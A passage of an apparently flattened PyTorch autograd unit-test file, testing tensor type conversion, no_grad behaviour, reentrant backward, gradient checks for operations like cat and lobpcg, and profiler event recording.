torch.IntTensor) if torch.cuda.device_count() >= 2: x2 = x.float().cuda(1) self.assertIsInstance(x2, torch.cuda.FloatTensor) self.assertIs(x2.get_device(), 1) x2 = x.float().cuda() self.assertIsInstance(x2, torch.cuda.FloatTensor) self.assertIs(x2.get_device(), 0) x2 = x2.cuda(1) self.assertIsInstance(x2, torch.cuda.FloatTensor) self.assertIs(x2.get_device(), 1) y = Variable(torch.randn(5).cuda(1), requires_grad=True) y.cpu().sum().backward() self.assertIs(y.grad.get_device(), 1) self.assertIs(y.long().get_device(), 1) for t in [torch.DoubleTensor, torch.FloatTensor, torch.IntTensor, torch.ByteTensor]: for y_var in (True, False): y = torch.randint(5, (5, 5), dtype=t.dtype) y = Variable(y) if y_var else y self.assertIsInstance(x.type(t), t) self.assertIsInstance(x.type_as(y), t) # TODO: t.dtype should work t_dtype = t().dtype self.assertIsInstance(x.type(t_dtype), t) self.assertIs(t_dtype, x.type(t_dtype).dtype) self.assertEqual(y.data_ptr(), y.type(t).data_ptr()) if torch.cuda.is_available(): for x_cuda in (True, False): for y_cuda in (True, False): x_c = x.cuda() if x_cuda else x y_c = y.cuda() if y_cuda else y _, y_type = y_c.type().rsplit('.', 1) y_typestr = ('torch.cuda.' if y_cuda else 'torch.') + y_type self.assertEqual(y_c.type(), x_c.type(y_typestr).type()) self.assertIs(y_c.dtype, x_c.type(y_c.dtype).dtype) self.assertEqual(y_c.data_ptr(), y_c.cuda().data_ptr() if y_cuda else y_c.data_ptr()) self._test_type_conversion_backward(lambda x: x) if torch.cuda.is_available(): self._test_type_conversion_backward(lambda x: x.cuda()) if torch.cuda.device_count() >= 2: # one of these has to be the non-default device self._test_type_conversion_backward(lambda x: x.cuda(0)) self._test_type_conversion_backward(lambda x: x.cuda(1)) def test_isolated_node(self): x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5, requires_grad=True) a = x + y b = torch.max(a, 1, True)[1].repeat(1, 5).double() o = (b + a).sum() o.backward() def test_shape(self): x = torch.randn(3, 4) self.assertEqual(2, len(x.shape)) self.assertEqual(x.shape[0], 3) self.assertEqual(x.shape[1], 4) def test_numpy_requires_grad(self): x = torch.randn(2, 2, requires_grad=True) err_msg_outputs = r"Can't call numpy\(\) on Tensor that requires grad. Use tensor.detach\(\).numpy\(\) instead." with self.assertRaisesRegex(RuntimeError, err_msg_outputs): x.numpy() with torch.no_grad(): x.numpy() x = torch.randn(2, 2) x.numpy() with torch.no_grad(): x.numpy() def test_return_leaf(self): class Identity(Function): @staticmethod def forward(ctx, a, b): return a, a + b @staticmethod def backward(ctx, grad_a, grad_b): return grad_a + grad_b, grad_b hook_called = [False] x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5, 5, requires_grad=True) q, p = Identity.apply(x, y) # Make sure hooks only receive grad from usage of q, not x. def hook(grad): hook_called[0] = True self.assertEqual(grad, torch.ones(5, 5)) q.register_hook(hook) (q + p + x).sum().backward() self.assertEqual(x.grad, torch.ones(5, 5) * 3) self.assertEqual(y.grad, torch.ones(5, 5)) self.assertTrue(hook_called[0]) def test_return_leaf_inplace(self): class Inplace(InplaceFunction): @staticmethod def forward(ctx, a, b): ctx.mark_dirty(a) return a.add_(b), b + 2 @staticmethod def backward(ctx, grad_a, grad_b): return grad_a, grad_a + grad_b x = torch.randn(5, 5) y = torch.randn(5, 5, requires_grad=True) q, p = Inplace.apply(x, y) self.assertIs(q, x) self.assertIs(q.grad_fn.__class__, Inplace._backward_cls) self.assertTrue(q.requires_grad) q.sum().backward() self.assertEqual(y.grad, torch.ones(5, 5)) def test_leaf_assignment(self): x = torch.randn(5, 5) y = torch.randn(5, requires_grad=True) z = torch.randn(5, requires_grad=True) x[0] = y x[1] = 2 * z self.assertTrue(x.requires_grad) self.assertIsNot(x.grad_fn, None) x.sum().backward() self.assertEqual(y.grad, torch.ones(5)) self.assertEqual(z.grad, torch.ones(5) * 2) def test_no_grad_assignment(self): x = torch.randn(5, 5, requires_grad=True) y = torch.randn(5) with torch.no_grad(): x[0] = y self.assertTrue(x.requires_grad) self.assertIsNone(x.grad_fn) def test_no_grad_modifies_version(self): x = torch.randn(5, requires_grad=True) y = torch.randn(5, requires_grad=True) z = (x * y).sum() with torch.no_grad(): x *= 2 self.assertRaisesRegex(RuntimeError, 'modified by an inplace operation', lambda: z.backward()) def test_no_grad_input(self): class MyFunction(Function): @staticmethod def forward(self, x): return x @staticmethod def backward(self, grad_output): return grad_output x = torch.randn(5, requires_grad=True) with torch.no_grad(): y = MyFunction.apply(x) self.assertTrue(x.requires_grad) self.assertIsNone(y.grad_fn) def test_backward_copy(self): # This tests checks backward engine for a very subtle bug that appreared # in one of the initial versions of autograd. Gradients tensors were # simply stored in lists while the function waited for all its gradients # to be computed. However, sometimes an output was used multiple times, # so the gradients needed to be summed. Engine used to keep a need_copy # set of tensors that will need a clone upon next addition and removed # them from the set as soon as the clone was performed. However, this # could lead to incorrect results if the same gradient tensor was # buffered in three places in the graph: # 1. When accumulating gradients in one of these places it was cloned # and removed from need_copy set. # 2. When accumulating in second place, it wasn't in the need_copy set, # so the gradients were simply accumulated in-place (which already # modified the grad in 3rd place) # 3. When accumulating in the third place, it wasn't in the need_copy set # as well, so the incoming gradient was summed in-place, yielding # incorrect results in all functions, except the first one. x = torch.ones(5, 5, requires_grad=True) y = torch.ones(5, 5, requires_grad=True) # Simulate that we're in the middle of the graph a = x + 2 b = y + 2 c = x + 2 # This op will just return grad_output two times in backward add1 = a + b add2 = add1 + c # Simulate a long branch, so grad_output will get buffered. for _ in range(4): a = a * 2 b = b * 2 c = c * 2 branch = a + b + c out = add2 + branch # expected gradients are: # for x: 34 (16 from final a, 16 from final c, 2 from add2) # for y: 17 (16 from final b, 1 from add2) grad_output = torch.ones(5, 5) out.backward(grad_output) self.assertEqual(x.grad, torch.ones(5, 5) * 34) self.assertEqual(y.grad, torch.ones(5, 5) * 17) def test_save_none_for_backward(self): test_case = self class MyFn(Function): @staticmethod def forward(ctx, input): ctx.save_for_backward(None, input, None) return input * input @staticmethod def backward(ctx, grad_output): n1, input, n2 = ctx.saved_tensors test_case.assertIsNone(n1) test_case.assertIsNone(n2) return 2 * input * grad_output x = torch.randn(5, 5, requires_grad=True) y = MyFn.apply(x) y.sum().backward() self.assertEqual(x.grad, 2 * x) def test_too_many_grads(self): class MyFn(Function): @staticmethod def forward(ctx, input): return input @staticmethod def backward(ctx, grad_output): return grad_output, None, None x = torch.randn(5, 5, requires_grad=True) y = MyFn.apply(x) y.sum().backward() self.assertEqual(x.grad, torch.ones_like(x)) def test_pickle(self): x = torch.randn(10, 10, requires_grad=True) y = torch.randn(10, 10, requires_grad=False) def assert_strict_equal(var1, var2): self.assertEqual(var1, var2) self.assertEqual(var1.requires_grad, var2.requires_grad) serialized = [pickle.dumps([x, y], protocol=p) for p in range(3)] for dump in serialized: xc, yc = pickle.loads(dump) assert_strict_equal(xc, x) assert_strict_equal(yc, y) def test_dep_nograd(self): class F1(Function): @staticmethod def forward(ctx, input): out = torch.randn(input.size()) ctx.mark_non_differentiable(out) return input, out @staticmethod def backward(ctx, grad_output, ignored): return grad_output class F2(Function): @staticmethod def forward(ctx, input, ignored): return input @staticmethod def backward(ctx, grad_output): return grad_output, None x = torch.randn(5, requires_grad=True) a, b = F1.apply(x) b = b + 1 # separate F1 from F2 by another op self.assertTrue(a.requires_grad) self.assertFalse(b.requires_grad) c = F2.apply(a, b) c.backward(torch.ones(c.size())) self.assertEqual(x.grad, torch.ones(x.size())) def test_set_grad_enabled(self): x = torch.tensor([1.], requires_grad=True) with torch.set_grad_enabled(False): y = x * 2 self.assertFalse(y.requires_grad) with torch.set_grad_enabled(True): y = x * 2 self.assertTrue(y.requires_grad) with torch.set_grad_enabled(False): torch.set_grad_enabled(True) y = x * 2 self.assertTrue(y.requires_grad) def test_simple_reentrant(self): y_data = torch.randn(2, 2) class Reenter(Function): @staticmethod def forward(ctx, x): with torch.enable_grad(): ctx.x = Variable(x, requires_grad=True) ctx.y = Variable(y_data, requires_grad=True) ctx.output_var = ctx.x * ctx.y return ctx.output_var.detach() @staticmethod def backward(ctx, grad_output): with torch.enable_grad(): ctx.output_var.sum().backward() return ctx.x.grad * grad_output # Reentrant starts on CPU thread, finishs on GPU thread x = torch.randn(2, 2, requires_grad=True) out = Reenter.apply(x) out.sum().backward() self.assertEqual(x.grad, y_data) def test_reentrant_child_error(self): # Parent graph. a = torch.rand(3, 3, requires_grad=True) c = a * a # Reentrant child graph. b = torch.rand(3, 3, requires_grad=True) e = b * b f = TestAutograd.SimulateBackwardError.apply(e) reentrant_root = f.sum() class ReentrantFunc(Function): @staticmethod def forward(ctx, inp): return inp.clone() @staticmethod def backward(ctx, grad): # Reentrant backward in child will throw an error. reentrant_root.backward() return grad d = ReentrantFunc.apply(c) with self.assertRaisesRegex(Exception, 'Simulate error'): d.sum().backward() # TODO: Create OpInfos for these ops def test_broadcast_tensors(self): f_args_variable = (torch.randn(3, dtype=torch.double, requires_grad=True), torch.randn(1, 2, 1, dtype=torch.double, requires_grad=True), torch.randn(1, 1, dtype=torch.double, requires_grad=True), torch.randn(5, 1, 1, dtype=torch.double, requires_grad=True)) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_broadcast_tensors", "broadcast", lambda a, b, c, d: torch.broadcast_tensors(a, b, c, d), True, f_args_variable, f_args_tensor) def test_block_diag(self): f_args_variable = (torch.randn(1, S, dtype=torch.double, requires_grad=True), torch.randn(2, S, dtype=torch.double, requires_grad=True), torch.randn(3, S, dtype=torch.double, requires_grad=True)) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_block_diag", "block_diag", lambda a, b, c: torch.block_diag(a, b, c), True, f_args_variable, f_args_tensor) def test_cat(self): f_args_variable = (torch.randn(1, S, S, dtype=torch.double, requires_grad=True), torch.randn(2, S, S, dtype=torch.double, requires_grad=True), torch.randn(3, S, S, dtype=torch.double, requires_grad=True), 0) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_cat", "cat", lambda a, b, c, dim: torch.cat((a, b, c), dim), True, f_args_variable, f_args_tensor, check_forward_ad=True) def test_cat_negdim_1(self): f_args_variable = (torch.randn(S, S, 1, dtype=torch.double, requires_grad=True), torch.randn(S, S, 2, dtype=torch.double, requires_grad=True), torch.randn(S, S, 3, dtype=torch.double, requires_grad=True), -1) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_cat_negdim_1", "cat", lambda a, b, c, dim: torch.cat((a, b, c), dim), True, f_args_variable, f_args_tensor, check_forward_ad=True) def test_cat_negdim_2(self): f_args_variable = (torch.randn(S, 1, S, dtype=torch.double, requires_grad=True), torch.randn(S, 2, S, dtype=torch.double, requires_grad=True), torch.randn(S, 3, S, dtype=torch.double, requires_grad=True), -2) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_cat_negdim_2", "cat", lambda a, b, c, dim: torch.cat((a, b, c), dim), True, f_args_variable, f_args_tensor, check_forward_ad=True) def test_cat_empty_legacy(self): f_args_variable = (torch.randn(0, dtype=torch.double, requires_grad=True), torch.randn(S, S, dtype=torch.double, requires_grad=True)) # gradgradcheck doesn't work, probably because legacy size tracking is wrong somewhere, # hence False passed below, but gradcheck checked explicitly. f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_cat_empty_legacy", "cat", lambda a, b: torch.cat((a, b)), False, f_args_variable, f_args_tensor, check_forward_ad=True) self.assertTrue(gradcheck(lambda a, b: torch.cat((a, b)), f_args_variable, eps=1e-6, atol=PRECISION)) def test_cat_empty(self): f_args_variable = (torch.randn(0, S, dtype=torch.double, requires_grad=True), torch.randn(S, S, dtype=torch.double, requires_grad=True)) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_cat_empty", "cat", lambda a, b: torch.cat((a, b)), True, f_args_variable, f_args_tensor, check_forward_ad=True) def test_trapz(self): f_args_variable = (torch.randn(2, 3, dtype=torch.double, requires_grad=True), torch.tensor([[1.0, 2.0, 5.5], [2.3, 0.5, 6.2]], dtype=torch.double, requires_grad=True)) f_args_tensor = deepcopy(unpack_variables(f_args_variable)) run_functional_checks(self, "test_trapz", "trapz", lambda y, x: torch.trapz(y, x), True, f_args_variable, f_args_tensor) def test_var_mean_differentiable(self): dim = [2, 4] keepdim = False input1 = torch.randn(3, 4, 5, 6, 2, 3, requires_grad=True) input2 = deepcopy(input1) var1, mean1 = torch.var_mean(input1, dim=dim, keepdim=keepdim) var2 = input2.var(dim=dim, keepdim=keepdim) mean2 = input2.mean(dim=dim, keepdim=keepdim) grad = torch.randn(3, 4, 6, 3, requires_grad=True) r1 = var1 * var1 * mean1 * mean1 r2 = var2 * var2 * mean2 * mean2 self.assertTrue(torch.allclose(r1, r2, rtol=0.01, atol=0.0)) torch.autograd.backward(r1, grad) torch.autograd.backward(r2, grad) self.assertTrue(torch.allclose(input1.grad, input2.grad, rtol=0.01, atol=0.0)) @slowTest @skipIfNoLapack def test_lobpcg(self): def func(k, A, largest=True, B=None): X_shape = list(A.shape) X_shape[-1] = k X = torch.eye(A.size(-2), k, dtype=A.dtype, device=A.device) if A.dim() > 2: X = X.expand(X_shape) D, U = torch.lobpcg(A=A, k=k, B=B, X=X) # LOBPCG uses a random initial eigenspace approximation # if parameter `X` is not provided. # This may cause a non-deterministic behavior # when it comes to the sign of an eigenvector # (note if v is an eigenvector, so is -v), # hence we eliminate this non-determinism # by making sure that each column of U # gets multiplied by the sign of its max (in absolute value) element. # Also, gradcheck changes the content of the input by +/- eps (default to 1e-06) # to compute the numerical gradient which can also cause the signs to flip. _, idx = U.abs().max(-2, keepdim=True) sign = U.gather(-2, idx).sign() U = U * sign return D, U # TODO: review if this can be ported to OpInfos or moved to test_linalg.py def run_symeig_test(k, sizes, largest=True): A = torch.rand(*sizes).double() A = A.matmul(A.transpose(-1, -2)) / 10 A.requires_grad_(True) gradcheck(lambda A: func(k, A, largest), A, check_batched_grad=False) # Custom gradient vectors for better stability due to some # non-determinism in the lobpcg's forward. # Note it is not required if symeig is in forward instead (tested). D_grad = torch.rand(*A.shape[:-2], k) / 100 U_grad = torch.rand(*A.shape[:-1], k) / 100 gradgradcheck(lambda A: func(k, A, largest), A, [D_grad, U_grad], atol=1e-4, check_batched_grad=False) # check whether A.grad is symmetric A = A.detach().requires_grad_(True) D, U = func(k, A, largest) (D.sum() + U.sum()).backward() self.assertEqual(A.grad, A.grad.transpose(-1, -2)) # the tests below take about 1-2 minutes to finish, # but we want to be extra sure that the backward is correct. for largest in [True, False]: run_symeig_test(1, (6, 6), largest=largest) run_symeig_test(1, (2, 6, 6), largest=largest) run_symeig_test(1, (2, 2, 6, 6), largest=largest) run_symeig_test(2, (6, 6), largest=largest) run_symeig_test(2, (2, 6, 6), largest=largest) run_symeig_test(2, (2, 2, 6, 6), largest=largest) run_symeig_test(3, (9, 9), largest=largest) run_symeig_test(3, (2, 9, 9), largest=largest) run_symeig_test(3, (2, 2, 9, 9), largest=largest) def test_variable_traverse(self): def get_out_and_unrefed_cycle(): inp = torch.randn(10, requires_grad=True) tmp = inp.view(10, 1) out = tmp.view(10) # Create a reference cycle that contains an # intermediary Variable in the graph my_list = [] my_list.append(tmp) my_list.append(my_list) return out out = get_out_and_unrefed_cycle() gc.collect() # This will segfault if things have been erroneously released out.backward(torch.randn(out.size())) def test_maximum_and_minimum_subgradient(self): def run_test(f, a, b, expected_a_grad, expected_b_grad): a = torch.tensor(a, requires_grad=True) b = torch.tensor(b, requires_grad=True) z = f(a, b) z.sum().backward() self.assertEqual(a.grad, expected_a_grad) self.assertEqual(b.grad, expected_b_grad) run_test(torch.maximum, [0., 1., 2.], [1., 1., 1.], [0., 0.5, 1.], [1., 0.5, 0.]) run_test(torch.minimum, [0., 1., 2.], [1., 1., 1.], [1., 0.5, 0.], [0., 0.5, 1.]) # TODO: norm is deprecated, update these tests and port them to OpInfos # or test_linalg.py def test_norm_subgradient(self): def run_test(input_size, norm_deg): input = torch.zeros(*input_size, requires_grad=True) input.norm(norm_deg).backward() self.assertEqual(input.grad.abs().sum(), 0) run_test((10,), 2) run_test((10, 10), 2) run_test((10,), 3) run_test((10,), 1) run_test((10,), 1.5) run_test((10,), inf) def test_norm_inf_subgradient(self): def run_test(input, expected, dim=None): x = torch.tensor(input, requires_grad=True) out = x.norm(inf, dim=dim, keepdim=True) out.backward(torch.ones(out.size())) self.assertEqual(x.grad, expected) run_test([0., 0., 0.], [0., 0., 0.]) run_test([1., 0., 1.], [0.5, 0., 0.5]) run_test([[1., 0., 1.], [0., 1., 1.]], [[0.25, 0., 0.25], [0., 0.25, 0.25]]) run_test([[1., 0., 1.], [0., 1., 0.]], [[0.5, 0., 0.5], [0., 1., 0.]], (1,)) run_test(torch.ones((2, 2, 2)), torch.full((2, 2, 2), 0.25), (0, 2)) # TODO: review porting these to OpInfo tests def test_pow_zero_tensor_gradient(self): def run_test(input_size, exponent): input = torch.zeros(*input_size, requires_grad=True) input.pow(exponent).sum().backward() self.assertEqual(input.grad.abs().sum(), 0) run_test((10,), torch.zeros(10)) run_test((10, 10), torch.zeros(10, 10)) run_test((10,), 0) def test_pow_scalar_base(self): a = torch.arange(1, 13, dtype=torch.double).view(3, 4).requires_grad_() gradcheck(lambda a: torch.pow(2, a), (a,)) def test_sinc(self): # The derivative of sinc(x) at x=0 has to be special cased. # A naive computation will result in 0/0 -> NaN. # We also need to be careful when we are very close to 0, as the # derivative's denominator is squared, and there are some floats # that are positive and whose squares are zero. a = torch.tensor([0.0, torch.finfo(torch.double).tiny, 1.0], dtype=torch.double, requires_grad=True) gradcheck(torch.sinc, a) def test_igamma(self): # 1e-3 offset to avoid zeros # NOTE: derivative for s is not implemented s = (torch.rand(100, dtype=torch.double) + 1e-3) x = (torch.rand(100, dtype=torch.double) + 1e-3).requires_grad_() gradcheck(torch.igamma, (s, x)) gradgradcheck(torch.igamma, (s, x)) def test_igammac(self): # 1e-3 offset to avoid zeros in s # NOTE: derivative for s is not implemented s = (torch.rand(100, dtype=torch.double) + 1e-3) x = (torch.rand(100, dtype=torch.double)).requires_grad_() gradcheck(torch.igamma, (s, x)) gradgradcheck(torch.igamma, (s, x)) def test_profiler(self): x = torch.randn(10, 10) with profile(use_kineto=kineto_available()) as p: self.assertTrue(torch.autograd._profiler_enabled()) y = x * 2 + 4 self.assertFalse(torch.autograd._profiler_enabled()) names = ['aten::mul', 'aten::add'] found_indices = set() for evt in p.function_events: if evt.name in names: found_indices.add(names.index(evt.name)) self.assertEquals(len(found_indices), len(names)) def test_profiler_seq_nr(self): with profile(use_kineto=kineto_available()) as p: x = torch.randn(10, 10, requires_grad=True) y = torch.randn(10, 10, requires_grad=True) z = x + y s = z.sum() s.backward() print(p.key_averages().table( sort_by="self_cpu_time_total", row_limit=-1)) # expecting aten::add, aten::sum to have the sequence numbers, # expecting the corresponding backward nodes to have the same numbers # as the forward ops add_seq_nr = -1 sum_seq_nr = -1 found_add = found_sum = False found_bwd_add = found_bwd_sum = False found_empty = False for e in p.function_events: if e.name == "aten::add": add_seq_nr = e.sequence_nr self.assertFalse(found_add) found_add = True elif e.name == "aten::sum": sum_seq_nr = e.sequence_nr self.assertFalse(found_sum) found_sum = True elif "Add" in e.name and "Backward" in e.name: self.assertEqual(e.sequence_nr, add_seq_nr) self.assertFalse(found_bwd_add) found_bwd_add = True elif "Sum" in e.name and "Backward" in e.name: self.assertEqual(e.sequence_nr, sum_seq_nr) self.assertFalse(found_bwd_sum) found_bwd_sum = True # check that nested ops (e.g. empty) don't have # sequence number if e.name == "aten::empty": self.assertEqual(e.sequence_nr, -1) found_empty = True self.assertGreaterEqual(add_seq_nr, 0) self.assertGreaterEqual(sum_seq_nr, 0) self.assertNotEqual(add_seq_nr, sum_seq_nr) self.assertTrue(found_add) self.assertTrue(found_sum) self.assertTrue(found_bwd_add) self.assertTrue(found_bwd_sum) self.assertTrue(found_empty) def test_profiler_unboxed_only(self): x = torch.rand(3, 4) with torch.autograd.profiler.profile(use_kineto=kineto_available()) as prof: x.resize_([3, 2]) def test_profiler_propagation(self): def foo(x): with record_function("in_foo") as rf: return x * 2 x = torch.rand(3, 4) traced_foo = torch.jit.trace(foo, x) def bar(x): with record_function("in_bar") as rf: # we expect that profiler will be able # propagate across fork fut = torch.jit._fork(traced_foo, x) y = torch.jit._wait(fut) # note: continuation (and rf's end) can # be executed in a different thread with record_function("in_bar_after_wait") as rf2: y = y * 2 return y traced_bar = torch.jit.trace(bar, x) with profile(use_kineto=kineto_available()) as p: traced_bar(x) found_foo = False found_bar = False found_bar_after_wait = False for info in p.function_events: if info.name == "in_foo": self.assertFalse(found_foo) found_foo = True elif info.name == "in_bar": self.assertFalse(found_bar) found_bar = True elif info.name == "in_bar_after_wait": self.assertFalse(found_bar_after_wait) found_bar_after_wait = True self.assertTrue(found_foo) self.assertTrue(found_bar) self.assertTrue(found_bar_after_wait) def test_record_function_callbacks(self): x = torch.randn(10, 10) with profile(use_kineto=kineto_available()) as p: with record_function("foo"): y = x * 2 + 4 function_events = p.function_events foo_event = [event for event in function_events if "foo" in event.name][0] self.assertEqual(foo_event.count, 1) def test_profiler_aggregation_fake(self): events = EventList() id = [0] def get_id(): id[0] = id[0] + 1 return id[0] # [[thread_id, [(start, end, id), ....]], ...] # Using list instead of a dict so order is guaranteed for any Python # version threads = [ [1, [(0, 1, get_id()), (1, 2, get_id())]], [0, [(0, 2, get_id()), (1, 2, get_id()), (1, 3, get_id())]], ] for thread, ranges in threads: for range in ranges: assert(len(range) == 3) events.append( FunctionEvent( id=range[2], node_id=0, name="", thread=thread, start_us=range[0], end_us=range[1], ) ) events._populate_cpu_children() # Note that [1, 3] pushes out [0, 2] first. Then we record [1, 2] # as a child of [1, 3] res = [[], [], [], [], [4]] def get_children_ids(event): return [child.id for child in event.cpu_children] assert([get_children_ids(event) for event in events] == res) def test_profiler_aggregation_table(self): """ Test if the profiling result is aggregated for `str(prof)` See: https://github.com/pytorch/pytorch/issues/37500 """ x = torch.randn(1024) with torch.autograd.profiler.profile(use_kineto=kineto_available()) as prof: torch.einsum("i->", x) prof_str = str(prof) prof_table = prof.table() self.assertEqual(prof_table, prof_str) def test_profiler_function_event_avg(self): avg = FunctionEventAvg() avg.add(FunctionEvent(id=0, node_id=0, name="foo", thread=0, start_us=10, end_us=15)) avg.add(FunctionEvent(id=1, node_id=0, name="foo", thread=0, start_us=20, end_us=30)) avg.add(avg) self.assertEqual(avg.key, "foo") # aggregate stats self.assertEqual(avg.count, 4) self.assertEqual(avg.cpu_time_total, 30) self.assertEqual(avg.self_cpu_time_total, 30) self.assertEqual(avg.cuda_time_total, 0) # average stats self.assertEqual(avg.cpu_time, 7.5) self.assertEqual(avg.cuda_time_total, 0) def test_profiler_shapes(self): print("") layer1 = torch.nn.Linear(20, 30) layer2 = torch.nn.Linear(30, 40) input = torch.randn(128, 20) with profile(record_shapes=True, use_kineto=kineto_available()) as prof: layer2(layer1(input)) print(prof.function_events) linear_expected_shapes = [ [[128, 20], [30, 20], [30]], [[128, 30], [40, 30], [40]], ] found_indices = set() for event in prof.function_events: if event.name == "aten::linear": self.assertTrue(event.input_shapes in linear_expected_shapes) found_indices.add(linear_expected_shapes.index(event.input_shapes)) self.assertEqual(len(found_indices), len(linear_expected_shapes)) def test_profiler_aggregation_lstm(self): print("") rnn = torch.nn.LSTM(10, 20, 2) total_time_s = 0 with profile(record_shapes=True, use_kineto=kineto_available()) as prof: for i in range(20): input = torch.randn(5, 3, 10) h = torch.randn(2, 3, 20) c = torch.randn(2, 3, 20) start = time.time() rnn(input, (h, c)) end = time.time() total_time_s += end - start print(prof.table( sort_by="self_cpu_time_total", row_limit=10, header="TEST")) print(prof.key_averages(group_by_input_shape=True).table( sort_by="self_cpu_time_total", row_limit=10)) print(prof.table( sort_by="self_cpu_time_total", row_limit=10, max_src_column_width=300, header="TEST", top_level_events_only=True)) print(prof.key_averages(group_by_input_shape=True).table( sort_by="self_cpu_time_total", row_limit=10, top_level_events_only=True)) total_time_us = total_time_s * 1000.0 * 1000.0 # make it us which is profiler default print( "Total time based on python measurements: ", format_time(total_time_us) ) print( "CPU time measurement python side overhead: {:.2f}%".format( (total_time_us / prof.self_cpu_time_total - 1.0) * 100.0 ) ) if sys.platform != "win32": with tempfile.NamedTemporaryFile() as trace_file: prof.export_chrome_trace(trace_file.name) def test_record_function(self): x = torch.randn(10, 10) def forward(x): with record_function("outer"): y = x * 2 + 4 with record_function("inner"): y = y - 1 y = y / 1 forward(x) with profile(use_kineto=kineto_available()) as p: forward(x) events = p.function_events important_events = [ 'outer', 'aten::mul', 'aten::add', 'inner', 'aten::sub', 'aten::div' ] idx = 0 for info in events: if info.name == important_events[idx]: idx = idx + 1 if idx == len(important_events): break self.assertEqual(idx, len(important_events)) # We can also use record_function to decorate arbitrary function @record_function('my_func') def f(x, y): return x + y with profile(use_kineto=kineto_available()) as p: f(1, 2) self.assertTrue('my_func' in str(p)) def test_record_function_multithreaded(self): rf = record_function("outer") rf.__enter__() with record_function("inner"): # test that exiting the record function after starting another one # doesn't throw. rf.__exit__(None, None, None) with record_function("inner"): rf.__enter__() # test that exiting the record function after ending another one # doesn't throw. rf.__exit__(None, None, None) def test_dir(self): x = torch.randn(10, 10) keys = dir(x) self.assertIn('shape', keys) # real and imag are only implemented for complex tensors. y = torch.randn(10, 10, dtype=torch.cfloat) for key in ['real', 'imag']: self.assertRaises(RuntimeError, lambda: hasattr(x, key)) self.assertTrue(hasattr(y, key)) keys.remove(key) for key in keys: self.assertTrue(hasattr(x, key)) def test_as_strided(self): def test(x, prepro_fn, size, strides, offset=None): x = x.to(torch.double).detach().requires_grad_() # Check that forward will **not** resize storage because it may # cause NaN in output and fail numerical Jacobian check consequently with torch.no_grad(): y = prepro_fn(x) if prepro_fn is not None else x max_offset = sum((si - 1) * st for si, st in zip(size, strides)) max_offset += offset if offset is not None else y.storage_offset() assert max_offset < len(y.storage()), "test case resizes storage" def closure(x): if prepro_fn is not None: x = prepro_fn(x) return x.as_strided(size, strides, offset) gradcheck(closure, [x]) gradgradcheck(closure, [x]) # test test(torch.arange(0, 25), lambda x: x.view(5, 5), [3, 3], [6, 2], 2) # test crazy stride at dim with size 1 case test(torch.randn(12), None, [1, 2, 1, 5], [0, 5, 100, 1], 2) # test expand case test(torch.randn(5), None, [3, 3, 3], [0, 1, 0], 2) test(torch.randn(5), None, [3, 3, 3], [0, 0, 0], 4) test(torch.randn(5), lambda x: x.expand(5, 5), [5, 5], [0, 1], 0) # test non-expand overlapping case test(torch.randn(35), None, [6, 6], [5, 1], 2) test(torch.randn(15), None, [3, 2], [3, 6], 2) # test transpose case test(torch.randn(3, 4), None, [4, 3], [1, 4]) # test "getting things outside the input" case x = torch.randn(6, 2) test(x[3:], None, [3, 2], [2, 1], 0) # should be all zeros self.assertEqual(x[3:].as_strided([3, 2], [2, 1], 0), x[:3]) # test select on expanded input case test(torch.randn(2, 3), lambda x: x.expand(10, 2, 3), [2, 3], [3, 1], 0) # TODO: see if these tests can be ported to OpInfos or moved to # test_tensor_creation_ops.py def _test_lerp_tensor_weights(self, cast): def construct_inputs(*shapes): start = cast(torch.randn(shapes[0], dtype=torch.double)).requires_grad_() end = cast(torch.randn(shapes[1], dtype=torch.double)).requires_grad_() weight = cast(torch.randn(shapes[2], dtype=torch.double)).requires_grad_() return [start, end, weight] all_test_shapes = [((3, 3, 3), (3, 3, 3), (3, 3, 3)), # no broadcasting ((3,), (3, 3, 3), (3, 3, 3)), # start broadcasting - 1 ((3, 3, 3), (3,), (3, 3, 3)), # end broadcasting - 1 ((3, 3, 3), (3, 3, 3), (3,)), # weight broadcasting - 1 ((), (3, 3, 3), (3, 3, 3)), # start broadcasting - 2 ((3, 3, 3), (), (3, 3, 3)), # end broadcasting - 2 ((3, 3, 3), (3, 3, 3), ()), # weight broadcasting - 2 ((3, 3), (3, 3, 3), (3,))] # all broadcasting for shapes in all_test_shapes: cur_inputs = construct_inputs(*shapes) gradcheck(torch.lerp, cur_inputs) gradgradcheck(torch.lerp, cur_inputs) def test_lerp_tensor_weights(self): self._test_lerp_tensor_weights(lambda t: t) # TODO: see if these tests can be moved to OpInfos or test_reductions.py def test_reduce_dtype(self): def test_reduction(op, has_no_dim, takes_dtype=True): x = torch.randn(3, 3, dtype=torch.float, requires_grad=True) if has_no_dim: grad1, = torch.autograd.grad([op(x)], [x]) grad2, = torch.autograd.grad([op(x, dtype=torch.double)], [x]) self.assertEqual(grad1, grad2) self.assertEqual(grad2.dtype, torch.float) gi = torch.randn(op(x, dim=0).shape, dtype=torch.float) grad1, = torch.autograd.grad([op(x, dim=0)], [x], gi) if takes_dtype: grad2, = torch.autograd.grad([op(x, dim=0, dtype=torch.double)], [x], gi.double()) else: grad2, = torch.autograd.grad([op(x.double(), dim=0)], [x], gi.double()) self.assertEqual(grad1, grad2) self.assertEqual(grad2.dtype, torch.float) test_reduction(torch.sum, True) test_reduction(torch.prod, True) test_reduction(torch.cumsum, False) test_reduction(torch.cumprod, False) test_reduction(torch.logcumsumexp, False, takes_dtype=False) def test_inplace_on_view_saved_output(self): # Test an in-place operation on a view in which the in-place op saves # its output. Previously, this created a reference cycle. dealloc = [0] class IncrementOnDelete(object): def __del__(self): dealloc[0] += 1 def test(): root = torch.randn(3, 3, requires_grad=True) copy = root.clone() copy.grad_fn.register_hook(IncrementOnDelete()) view = copy.view(9) torch.nn.functional.relu(view, inplace=True) test() self.assertEqual(dealloc[0], 1) def test_inplace_on_view_leaf_errors(self): # Issue #21875: Fail faster (when we try to modify the view vs. in backward()) x = torch.zeros(1, 